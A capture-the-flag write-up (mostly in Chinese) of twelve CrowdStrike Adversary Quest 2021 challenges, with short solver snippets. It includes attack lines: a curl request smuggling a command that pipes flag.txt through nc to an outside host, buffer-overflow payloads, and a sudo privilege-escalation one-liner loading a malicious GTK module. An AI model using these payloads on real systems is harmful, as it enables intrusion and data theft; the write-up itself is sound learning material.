CrowdStrike Adversary Quest 2021 技术挑战全解析

本文详细解析了CrowdStrike Adversary Quest 2021 CTF中的十二个技术挑战,涵盖逆向工程、加密算法、漏洞利用、网络协议分析等多个领域,展示了完整的解题思路和代码实现。

CrowdStrike Adversary Quest 2021: Write-up

Space Jackal

The Proclamation

文件为DOS/MBR引导扇区,运行时打印消息。分析代码发现其通过循环异或加密数据,最终通过暴力破解密钥获得flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python3
with open('proclamation.dat', 'rb') as fin:
    fin.seek(0x78)
    encrypted = fin.read()

def decrypt(ciphertext, key):
    res = []
    for x in ciphertext:
        key = ((key<<2)+0x42)&0xFF
        res.append(x^key)
    return bytes(res)

print(decrypt(encrypted, 0x09))

Flag: CS{0rd3r_0f_0x20_b00tl0ad3r}

Matrix

给定Python代码和onion地址,使用3x3矩阵加密。通过已知明文"SPACEARMY"建立矩阵方程求解密钥。

1
2
3
4
5
6
7
R = IntegerModRing(256)
m = 'SPACEARMY'.encode('ascii')
c = bytes.fromhex('259F8D014A44C2BE8F')
M = matrix(R, 3, 3, m).transpose()
C = matrix(R, 3, 3, c).transpose()
Kenc = C * M.inverse()
Kdec = Kenc.inverse()

Flag: CS{if_computers_could_think_would_they_like_spaces?}

Injector

通过ProcFS解析符号,注入shellcode到内存。shellcode劫持free()函数,当释放字符串格式为cmd{.*}时执行system()。

1
curl 'http://injector.challenges.adversary.zone:4321/x' -H 'X: cmd{cat flag.txt|nc cs.zeta-two.com 31337}'

Flag: CS{fr33_h00k_b4ckd00r}

Tab-Nabbed

利用git服务器的post-receive钩子程序detab中的缓冲区溢出漏洞,覆盖返回地址执行flag打印函数。

1
2
payload = b'A'*510 + b'\n' + b'\t'*1 + b'\n'*(13+4+4)
payload += b'E'*offset + p64(ADDR_PRINT_FLAG)

Flag: CS{th3_0ne_4nd_0nly_gith00k}

Protective Penguin

Portal

Web服务器CGI程序存在缓冲区溢出,可覆盖用户列表文件路径指针,利用/lib64/ld-linux-x86-64.so.2中的字符串绕过认证。

1
2
username = b'conflict processing\0'
password = b' %s\0' + b'A'*(256-len(username)-4) + b'B'*4 + p64(ADDR_LD_SO_STR)

Flag: CS{w3b_vPn_h4xx}

Dactyl’s Tule Box

通过GTK的–gtk-module参数加载恶意共享库,实现权限提升。

1
XAUTHORITY=$(pwd)/.Xauthority sudo /usr/local/bin/mapviewer --gtk-module=$(pwd)/privesc.so

Flag: CS{sudo_+GTK=_pwn}

Egg Hunt

分析eBPF程序,发现其监听UDP端口1337,接收特定格式数据包并修改用户密码哈希。

1
2
payload = b'fsf'
payload += bytes(x^66 for x in target[3:].encode('ascii'))

Flag: CS{ebpf_b4ckd00r_ftw}

Exfiltrat0r

通过分析网络包大小推断加密密钥,解密传输文件。

1
2
derived_key = scrypt(cand_key, key_salt, 32, 2**14, 8, 1)
cipher = ChaCha20_Poly1305.new(key=derived_key, nonce=nonce)

Flag: CS{p4ck3t_siz3_sid3_ch4nn3l}

Catapult Spider

Much Sad

通过区块链交易追踪和OP_RETURN数据分析,最终在GitHub找到flag。

Flag: CS{shibe_good_boi_doge_to_the_moon}

Very Protocol

逆向NodeJS狗语脚本,实现自定义加密协议客户端。

1
2
3
def encrypt(message, password):
    aes = AES.new(get_key(password), mode=AES.MODE_CBC, iv=AES_IV)
    return aes.encrypt(pad(message, AES.block_size))

Flag: CS{such_Pr0t0_is_n3tw0RkS_w0W}

Module Wow

通过代码模式识别破解重复异或加密,恢复原始机器代码。

1
2
code = bytes(x^k for x,k in zip(encrypted, key*len(encrypted)))
print(disasm(code))

Flag: CS{crypt0_an4lys1s_0n_c0d3}

Many Neurotoxin

使用对抗性攻击技术欺骗神经网络,将猫图像分类为狗图像。

Flag: CS{4tt4cks_0n_n3ur4l_netw0rks}

结论

CrowdStrike Adversary Quest 2021提供了高质量的技术挑战,涵盖多个安全领域,是一次宝贵的学习体验。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计